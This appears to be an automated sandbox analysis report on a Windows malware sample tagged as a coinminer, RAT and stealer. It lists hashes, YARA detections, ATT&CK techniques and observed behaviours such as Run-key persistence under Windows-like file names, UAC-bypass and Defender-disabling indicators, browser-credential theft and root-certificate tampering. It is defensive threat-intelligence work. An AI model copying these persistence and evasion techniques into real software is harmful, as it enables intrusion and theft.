c5ac2939f0eae52051b2bd1cdc7fa761e1526aacbe81a61263ede5bdd9d5d048

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/08/2026, 22:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Size 11.2MB
Sample260826-2dd67axdlg
SHA256 c5ac2939f0eae52051b2bd1cdc7fa761e1526aacbe81a61263ede5bdd9d5d048
MD5 6b4be3ff6001324b85d8a28ae9ea9686
SHA1 91c630b30b6e70a8f419b2fa7302679492400fa1
SHA512 9f1f98300ce50351e3fc2d5e81b117cd901434ebb8d1822f566af2c1488d3b10b387e77aad9eaf057bbfc1dbbed01f2bd6c4aac976b4a59b03b4242a72c60202
SSDEEP 98304:5xDs4sOkM+OP5oF8hg4PnpU0DA5t3NIDE+XR60+E+3:5mF+PfDA9IDb7M
TLSH
T102C63A47ECA515E4C0ADC1B5CA269562BF723C880B3063D36B51F6292F37BD0AEB9750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

collection defense_evasion discovery execution persistence spyware stealer trojan

Malware Config

Signatures

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 2 IoCs

resource	yara_rule
behavioral1/files/0x00130000000243b2-53.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/632-2983-0x00007FF663680000-0x00007FF66620A000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs

resource	yara_rule
behavioral1/files/0x00130000000243b2-53.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral1/memory/632-2983-0x00007FF663680000-0x00007FF66620A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing artifacts associated with disabling Widnows Defender 2 IoCs

resource	yara_rule
behavioral1/files/0x00130000000243b2-53.dat	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/632-2983-0x00007FF663680000-0x00007FF66620A000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral1/files/0x00130000000243b2-53.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/632-2983-0x00007FF663680000-0x00007FF66620A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 2 IoCs

resource	yara_rule
behavioral1/files/0x00130000000243b2-53.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/632-2983-0x00007FF663680000-0x00007FF66620A000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Detects executables referencing virtualization MAC addresses 2 IoCs

resource	yara_rule
behavioral1/files/0x00130000000243b2-53.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/memory/632-2983-0x00007FF663680000-0x00007FF66620A000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

detects Windows exceutables potentially bypassing UAC using eventvwr.exe 2 IoCs

resource	yara_rule
behavioral1/files/0x00130000000243b2-53.dat	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer
behavioral1/memory/632-2983-0x00007FF663680000-0x00007FF66620A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer

detects Windows exceutables potentially bypassing UAC using fodhelper.exe 2 IoCs

resource	yara_rule
behavioral1/files/0x00130000000243b2-53.dat	INDICATOR_SUSPICIOUS_EXE_UACBypass_fodhelper
behavioral1/memory/632-2983-0x00007FF663680000-0x00007FF66620A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_fodhelper

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1328	powershell.exe
2064	powershell.exe
7144	powershell.exe
8108	powershell.exe
5416	powershell.exe
3388	powershell.exe
7248	powershell.exe
6784	powershell.exe
4044	powershell.exe
7624	powershell.exe
760	powershell.exe
7900	powershell.exe
4568	powershell.exe
2148	powershell.exe
2392	powershell.exe
4432	powershell.exe
3192	powershell.exe
7660	powershell.exe
5548	powershell.exe
1984	powershell.exe
6180	powershell.exe
5996	powershell.exe
6660	powershell.exe
7332	powershell.exe
5548	powershell.exe
4204	powershell.exe
4392	powershell.exe
6196	powershell.exe
7144	powershell.exe
3724	powershell.exe
7688	powershell.exe
7040	powershell.exe
8084	powershell.exe
7972	powershell.exe
6172	powershell.exe
7848	powershell.exe
2916	powershell.exe
6616	powershell.exe
1928	powershell.exe
1700	powershell.exe
6972	powershell.exe
7540	powershell.exe
7572	powershell.exe
6024	powershell.exe
6784	powershell.exe
7772	powershell.exe
7576	powershell.exe
4804	powershell.exe
5140	powershell.exe
5912	powershell.exe
4140	powershell.exe
5720	powershell.exe
7808	powershell.exe
7224	powershell.exe
7688	powershell.exe
220	powershell.exe
5632	powershell.exe
6968	powershell.exe
7212	powershell.exe
8012	powershell.exe
1204	powershell.exe
8076	powershell.exe
5944	powershell.exe
6224	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4140	powershell.exe
4832	powershell.exe

Executes dropped EXE 9 IoCs

pid	Process
4328	WindowsUpdate_Client.exe
632	WindowsPush_Provider.exe
1424	WindowsPush_Agent.exe
3204	WindowsUpdate_Client.exe
4480	WindowsPush_Provider.exe
824	WindowsPush_Agent.exe
4996	WindowsUpdate_Client.exe
4712	WindowsPush_Provider.exe
748	WindowsPush_Agent.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windowspush_provider.exe = "C:\\Users\\Public\\Documents\\WindowsPush_Provider.exe"	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windowspush_agent.exe = "C:\\Windows\\SoftwareDistribution\\WindowsPush_Agent.exe"	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TrustedInstaller_Update = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\WindowsUpdate_Client.exe"	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BackgroundBroker_Service = "C:\\Users\\Public\\Documents\\WindowsPush_Provider.exe"	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemConfig_Engine = "C:\\Windows\\SoftwareDistribution\\WindowsPush_Agent.exe"	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windowsupdate_client.exe = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\WindowsUpdate_Client.exe"	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	powershell.exe
File opened (read-only)	\??\J:	powershell.exe
File opened (read-only)	\??\Q:	powershell.exe
File opened (read-only)	\??\W:	powershell.exe
File opened (read-only)	\??\Z:	powershell.exe
File opened (read-only)	\??\F:	powershell.exe
File opened (read-only)	\??\O:	powershell.exe
File opened (read-only)	\??\G:	powershell.exe
File opened (read-only)	\??\H:	powershell.exe
File opened (read-only)	\??\K:	powershell.exe
File opened (read-only)	\??\L:	powershell.exe
File opened (read-only)	\??\S:	powershell.exe
File opened (read-only)	\??\I:	powershell.exe
File opened (read-only)	\??\M:	powershell.exe
File opened (read-only)	\??\P:	powershell.exe
File opened (read-only)	\??\T:	powershell.exe
File opened (read-only)	\??\V:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\N:	powershell.exe
File opened (read-only)	\??\R:	powershell.exe
File opened (read-only)	\??\U:	powershell.exe
File opened (read-only)	\??\X:	powershell.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
66	api.ipify.org
67	api.ipify.org
104	api.ipify.org

Executes a VBScript file via the Windows Script Host. 1 TTPs 30 IoCs

execution

Visual Basic

T1059.005

pid	Process
1728	cscript.exe
8036	cscript.exe
2772	cscript.exe
6676	cscript.exe
8140	cscript.exe
7200	cscript.exe
5192	cscript.exe
1328	cscript.exe
6184	cscript.exe
7520	cscript.exe
4512	cscript.exe
7888	cscript.exe
7404	cscript.exe
4460	cscript.exe
7216	cscript.exe
4692	cscript.exe
7900	cscript.exe
8176	cscript.exe
8156	cscript.exe
7568	cscript.exe
7528	cscript.exe
8124	cscript.exe
5448	cscript.exe
3256	cscript.exe
7028	cscript.exe
4452	cscript.exe
7336	cscript.exe
7972	cscript.exe
5996	cscript.exe
7252	cscript.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\WindowsPush_Agent.exe	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 36 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
6820	powershell.exe
5236	powershell.exe
6676	powershell.exe
6684	powershell.exe
6532	powershell.exe
3224	powershell.exe
7900	powershell.exe
1960	powershell.exe
5312	powershell.exe
8104	powershell.exe
8120	powershell.exe
396	powershell.exe
5124	powershell.exe
5220	powershell.exe
3320	powershell.exe
3188	powershell.exe
6172	powershell.exe
6120	powershell.exe
6412	powershell.exe
6396	powershell.exe
7948	powershell.exe
5720	powershell.exe
6332	powershell.exe
8004	powershell.exe
2588	powershell.exe
5988	powershell.exe
5216	powershell.exe
6316	powershell.exe
7368	powershell.exe
8044	powershell.exe
7608	powershell.exe
7416	powershell.exe
5416	powershell.exe
5936	powershell.exe
7596	powershell.exe
608	powershell.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6832	cmd.exe
7104	cmd.exe
4824	cmd.exe
1764	cmd.exe
8084	cmd.exe
4428	cmd.exe
1680	cmd.exe
7444	cmd.exe
1812	cmd.exe
5636	cmd.exe
3744	cmd.exe
1680	cmd.exe
3300	cmd.exe
2444	cmd.exe
3996	cmd.exe
7972	cmd.exe
2720	cmd.exe
5096	cmd.exe
8068	cmd.exe
5348	cmd.exe
3368	cmd.exe
4692	cmd.exe
5392	cmd.exe
5176	cmd.exe
7948	cmd.exe
7656	cmd.exe
5868	cmd.exe
6720	cmd.exe
7576	cmd.exe
2788	cmd.exe
6504	cmd.exe
8100	cmd.exe
3636	cmd.exe
5428	cmd.exe
5644	cmd.exe
5248	cmd.exe
7448	cmd.exe
6836	cmd.exe
7596	cmd.exe
3192	cmd.exe
7084	cmd.exe
7588	cmd.exe
5560	cmd.exe
5836	cmd.exe
8168	cmd.exe
5528	cmd.exe
5416	cmd.exe
3820	cmd.exe
4980	cmd.exe
1212	cmd.exe
4296	cmd.exe
4900	cmd.exe
4308	cmd.exe
5036	cmd.exe
6808	cmd.exe
5772	cmd.exe
4740	cmd.exe
6640	cmd.exe
6636	cmd.exe
1276	cmd.exe
6252	cmd.exe
6440	cmd.exe
6152	cmd.exe
5988	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 3 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4392	powershell.exe
5416	netsh.exe
7472	powershell.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3996	schtasks.exe
7120	schtasks.exe
6564	schtasks.exe
4612	schtasks.exe
4244	schtasks.exe
5676	schtasks.exe
6560	schtasks.exe
6168	schtasks.exe
7780	schtasks.exe
4992	schtasks.exe
5184	schtasks.exe
7228	schtasks.exe
2516	schtasks.exe
6096	schtasks.exe
7552	schtasks.exe
7740	schtasks.exe
3488	schtasks.exe
8084	schtasks.exe
6696	schtasks.exe
512	schtasks.exe
1136	schtasks.exe
7772	schtasks.exe
5272	schtasks.exe
7568	schtasks.exe
7420	schtasks.exe
3712	schtasks.exe
6180	schtasks.exe
7392	schtasks.exe
7232	schtasks.exe
6124	schtasks.exe
5836	schtasks.exe
5152	schtasks.exe
4140	schtasks.exe
5644	schtasks.exe
4452	schtasks.exe
7956	schtasks.exe
1976	schtasks.exe
5964	schtasks.exe
6316	schtasks.exe
6800	schtasks.exe
6668	schtasks.exe
6424	schtasks.exe
6392	schtasks.exe
5760	schtasks.exe
5996	schtasks.exe
1208	schtasks.exe
6136	schtasks.exe
3328	schtasks.exe
7244	schtasks.exe
7740	schtasks.exe
3828	schtasks.exe
8072	schtasks.exe
1328	schtasks.exe
2568	schtasks.exe
8048	schtasks.exe
3840	schtasks.exe
7696	schtasks.exe
4204	schtasks.exe
8148	schtasks.exe
3660	schtasks.exe
7076	schtasks.exe
7812	schtasks.exe
8024	schtasks.exe
7212	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2148	powershell.exe
2148	powershell.exe
4804	powershell.exe
4804	powershell.exe
3116	powershell.exe
3116	powershell.exe
4688	powershell.exe
4688	powershell.exe
2696	powershell.exe
2696	powershell.exe
3496	powershell.exe
3496	powershell.exe
4616	powershell.exe
4616	powershell.exe
3592	powershell.exe
3592	powershell.exe
3364	powershell.exe
3364	powershell.exe
2552	powershell.exe
2552	powershell.exe
1968	powershell.exe
1968	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
2592	powershell.exe
2592	powershell.exe
2592	powershell.exe
4060	powershell.exe
4060	powershell.exe
4060	powershell.exe
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
4016	powershell.exe
4016	powershell.exe
4016	powershell.exe
2984	powershell.exe
2984	powershell.exe
2984	powershell.exe
3224	powershell.exe
3224	powershell.exe
3224	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
2704	powershell.exe
2704	powershell.exe
2704	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
4568	powershell.exe
4568	powershell.exe
4568	powershell.exe
4088	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeDebugPrivilege	3116	powershell.exe
Token: SeDebugPrivilege	4688	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	3364	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeIncreaseQuotaPrivilege	3456	WMIC.exe
Token: SeSecurityPrivilege	3456	WMIC.exe
Token: SeTakeOwnershipPrivilege	3456	WMIC.exe
Token: SeLoadDriverPrivilege	3456	WMIC.exe
Token: SeSystemProfilePrivilege	3456	WMIC.exe
Token: SeSystemtimePrivilege	3456	WMIC.exe
Token: SeProfSingleProcessPrivilege	3456	WMIC.exe
Token: SeIncBasePriorityPrivilege	3456	WMIC.exe
Token: SeCreatePagefilePrivilege	3456	WMIC.exe
Token: SeBackupPrivilege	3456	WMIC.exe
Token: SeRestorePrivilege	3456	WMIC.exe
Token: SeShutdownPrivilege	3456	WMIC.exe
Token: SeDebugPrivilege	3456	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3456	WMIC.exe
Token: SeRemoteShutdownPrivilege	3456	WMIC.exe
Token: SeUndockPrivilege	3456	WMIC.exe
Token: SeManageVolumePrivilege	3456	WMIC.exe
Token: 33	3456	WMIC.exe
Token: 34	3456	WMIC.exe
Token: 35	3456	WMIC.exe
Token: 36	3456	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3456	WMIC.exe
Token: SeSecurityPrivilege	3456	WMIC.exe
Token: SeTakeOwnershipPrivilege	3456	WMIC.exe
Token: SeLoadDriverPrivilege	3456	WMIC.exe
Token: SeSystemProfilePrivilege	3456	WMIC.exe
Token: SeSystemtimePrivilege	3456	WMIC.exe
Token: SeProfSingleProcessPrivilege	3456	WMIC.exe
Token: SeIncBasePriorityPrivilege	3456	WMIC.exe
Token: SeCreatePagefilePrivilege	3456	WMIC.exe
Token: SeBackupPrivilege	3456	WMIC.exe
Token: SeRestorePrivilege	3456	WMIC.exe
Token: SeShutdownPrivilege	3456	WMIC.exe
Token: SeDebugPrivilege	3456	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3456	WMIC.exe
Token: SeRemoteShutdownPrivilege	3456	WMIC.exe
Token: SeUndockPrivilege	3456	WMIC.exe
Token: SeManageVolumePrivilege	3456	WMIC.exe
Token: 33	3456	WMIC.exe
Token: 34	3456	WMIC.exe
Token: 35	3456	WMIC.exe
Token: 36	3456	WMIC.exe
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeIncreaseQuotaPrivilege	532	WMIC.exe
Token: SeSecurityPrivilege	532	WMIC.exe
Token: SeTakeOwnershipPrivilege	532	WMIC.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 4876 wrote to memory of 2148	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	88
PID 4876 wrote to memory of 4804	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	90
PID 4876 wrote to memory of 3116	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	97
PID 4876 wrote to memory of 4688	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	99
PID 4876 wrote to memory of 2696	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	101
PID 4876 wrote to memory of 1136	4876	2026-08-25_6b4be3ff6001324b85d8a28ae9ea9686_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	103
